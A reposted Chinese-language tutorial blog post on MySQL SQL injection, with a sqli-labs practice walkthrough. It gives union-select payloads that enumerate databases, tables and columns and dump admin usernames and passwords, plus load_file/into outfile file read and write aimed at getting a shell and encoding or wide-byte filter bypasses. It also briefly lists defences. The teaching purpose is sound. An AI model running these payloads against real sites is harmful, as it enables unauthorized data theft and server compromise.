SQL注入之MYSQL注入

这篇具有很好参考价值的文章主要介绍了SQL注入之MYSQL注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言(菜鸡教程大佬勿喷)

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

SQL注入之MYSQL注入

必要知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
  2. 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
  3. 常用参数

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

如何判断注入点

  1. 如果页面中MySQL报错,证明该页面中存在SQL注入漏洞

单引号 '

and 1=1

and 1=2

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

  1. 逻辑运算符(或与非)

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真

真且假=假

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

MySQL 5.x数据结构

  1. 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)
  2. 在schemata表中,schema_name字段用来存储数据库名
  3. 在table表中,table_schema和table_name分别用来存储数据库名和表名
  4. 在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)
  5. 关于直接对数据库的增删改查
    1. 增 create database 数据库名
    2. 删 drop database 数据库名
    3. 改 rename database 旧名 to 新名
    4. 查 show databases

      SQL注入之MYSQL注入

    5. 创建表 create table table_name( id1 int,id2 varcher)

      SQL注入之MYSQL注入

    6. 重新给表命名 alter table table_name_old rename as table_name_new
  1. 关于对数据表的增删改查
    1. 增    insert into table_name(列1,列2 ... ) values(值1,值2 ... )
    2. 删    delete from 表名 where 列名 = 值
    3. 改    update 表名 set 列名=新值 where 列名=某值

      SQL注入之MYSQL注入

       
    4. 查    select * from 表名 where 字段1=‘条件一’and 字段2 =‘条件二’
    5. 扩展 limit

limit m,n 从m行开始,到m+n行结束

select * from admin limit 2,1 指的是 从第二行开始,到第三行结束(从第二行开始查取一行数据)

高权限注入及低权限注入

  1. 跨库查询及应用思路

information_schema 表特性,记录库名,表名,列名对应表

通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据

SQL注入之MYSQL注入

获取所有数据库名:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定qqyw数据库名下的表名信息:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定qqyw下的表名admin下的列名信息:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and  table_achema='qqyw'                 

获取指定qqyw下的admin数据

union select 1,u,p,4 from qqyw.admin

  1. 文件读写操作

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

load_file():读取函数

SQL注入之MYSQL注入

SQL注入之MYSQL注入

SQL注入之MYSQL注入

SQL注入之MYSQL注入

into outfile 或 into dumpfile:导出函数

  • outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。
  • dumpfile只能写一行,并且输出中不存在任何格式。

SQL注入之MYSQL注入

(将x写入www文件中)

SQL注入之MYSQL注入

路径获取常见方法:

报错显示:一般网站出现错误的时候它会泄露出路径

SQL注入之MYSQL注入

遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出

SQL注入之MYSQL注入

漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径

SQL注入之MYSQL注入

平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

SQL注入之MYSQL注入

爆破

windows:

d:/wwwroot/xiaodi8/

linux:

/var/www/xiaodi8

扩展连接:

常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

  1. 常见读取文件列表:

常见写入文件问题:魔术引号开关

magic_quotes_gpc

  1. 魔术引号及常见防护

a. 编码或宽字节绕过:

比如在sqlmap中添加--temper脚本参数转码

或者使用转换工具

SQL注入之MYSQL注入

b. 防护:

1.)自带防御:魔术引号

2.)内置函数:int等

SQL注入之MYSQL注入

3.)自定义关键字:select等

SQL注入之MYSQL注入

4.)WAF防护软件:安全狗、宝塔等

SQL注入之MYSQL注入

  1. 低版本注入配合读取或暴力

字典或读取

涉及资源:

常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

sqli-labs测试(简单练习一下)

先来温习一下基本注入流程:

  1. 根据注入位置数据类型将sql注入分类
  2. 利用order判断字段数

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

  1. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+

  1. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

  1. 利用 union select 联合查询,获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

  1. 利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

  1. 利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

  1. 根据注入位置数据类型将sql注入分类

SQL注入之MYSQL注入

可以从SQL语法错误得出我们需要的东西

SQL注入之MYSQL注入

'1'' LIMIT 0,1 这个引号是我们自己加的 可以知道这个就是‘1',也就是说,这是个字符串类型的sql注入

  1. 利用order by 来判断字段数

SQL注入之MYSQL注入

在经过一番测试之后可以发现有三个字段

  1. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

SQL注入之MYSQL注入

利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

SQL注入之MYSQL注入

  1. 利用 union select 联合查询,获取表名

SQL注入之MYSQL注入

  1. 利用 union select 联合查询,获取字段名

SQL注入之MYSQL注入

  1. 利用 union select 联合查询,获取字段值

SQL注入之MYSQL注入

即可成功得到我们想要的用户名和密码文章来源地址https://www.toymoban.com/news/detail-449656.html

到了这里,关于SQL注入之MYSQL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python MySQL 数据库查询:选择数据、使用筛选条件、防止 SQL 注入

    要从MySQL中的表格中选择数据,请使用\\\"SELECT\\\"语句: 示例选择\\\"customers\\\"表格中的所有记录,并显示结果: 注意 :我们使用 fetchall() 方法,该方法从上次执行的语句中获取所有行。 要仅选择表格中的某些列,请使用\\\"SELECT\\\"语句,后跟列名: 示例仅选择name和address列: 如果您只对

    2024年02月05日
    浏览(95)
  • MySQL安全性:用户认证、防范SQL注入和SSL/TLS配置详解

    MySQL作为广泛使用的关系型数据库管理系统,安全性至关重要。在本篇技术博客中,我们将深入探讨MySQL的用户认证方式、防范SQL注入攻击的方法以及SSL/TLS加密的配置。 MySQL支持多种用户认证方式,其中两种常见方式是caching_sha2_password和mysql_native_password。 1.1 caching_sha2_passwor

    2024年02月02日
    浏览(45)
  • 小迪安全25WEB 攻防-通用漏洞&SQL 读写注入&MYSQL&MSSQL&PostgreSQL

       #知识点:  1、SQL 注入-MYSQL 数据库  2、SQL 注入-MSSQL(SQL server) 数据库  3、SQL 注入-PostgreSQL 数据库  #详细点:  Access 无高权限注入点-只能猜解,还是暴力猜解           因为access的数据库是独立存在的,不存在统一管理 对账号密码进行猜解,此时只是获取到后台的操

    2024年02月20日
    浏览(59)
  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(62)
  • MySql前言

    🎥 个人主页:Dikz12 🔥个人专栏:MySql 📕格言:那些在暗处执拗生长的花,终有一日会馥郁传香 欢迎大家👍点赞✍评论⭐收藏 目录  数据库有哪些软件??  Mysql  MySql数据存储 mysql安装 mysql重装                                                          Oracle: 数据

    2024年02月01日
    浏览(47)
  • PostgreSQL详细教程(一)—— 前言

    目录 PostgreSQL简介 PostgreSQL 特征   PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的BSD许可证下发行。 PostgreSQL 开发者把它念作 post-gress-Q-L。 PostgreSQL 的 Slogan 是 \\\"世界上最先进的开源关系型数据库\\\"。 PostgreSQL与Oracle一样是使用共享内存的进程结构,而大家都比较

    2024年02月12日
    浏览(47)
  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(72)
  • 【RabbitMQ教程】前言 —— 中间件介绍

                                                                       💧 【 R a b b i t M Q 教程】前言——中间件介绍 color{#FF1493}{【RabbitMQ教程】前言 —— 中间件介绍} 【 R abbi tMQ 教程】前言 —— 中间件介绍 💧           🌷 仰望天空,妳

    2024年02月08日
    浏览(70)
  • 《Docker极简教程》--前言--Docker的简介

    Docker 是一种用于构建、部署和运行应用程序的开源平台,它使用容器技术来实现轻量级、可移植和自包含的应用程序环境。Docker 的核心思想是将应用程序及其依赖项打包到一个称为容器的封闭单元中,从而消除了在不同环境中运行应用程序时可能出现的许多兼容性和依赖性

    2024年02月21日
    浏览(52)
  • 【k8s完整实战教程0】前言

    系列文章:这个系列已完结,如对您有帮助,求点赞收藏评论。 读者寄语: 再小的帆,也能远航! 【k8s完整实战教程0】前言 【k8s完整实战教程1】源码管理-Coding 【k8s完整实战教程2】腾讯云搭建k8s托管集群 【k8s完整实战教程3】k8s集群部署kubesphere 【k8s完整实战教程4】使用

    2023年04月24日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包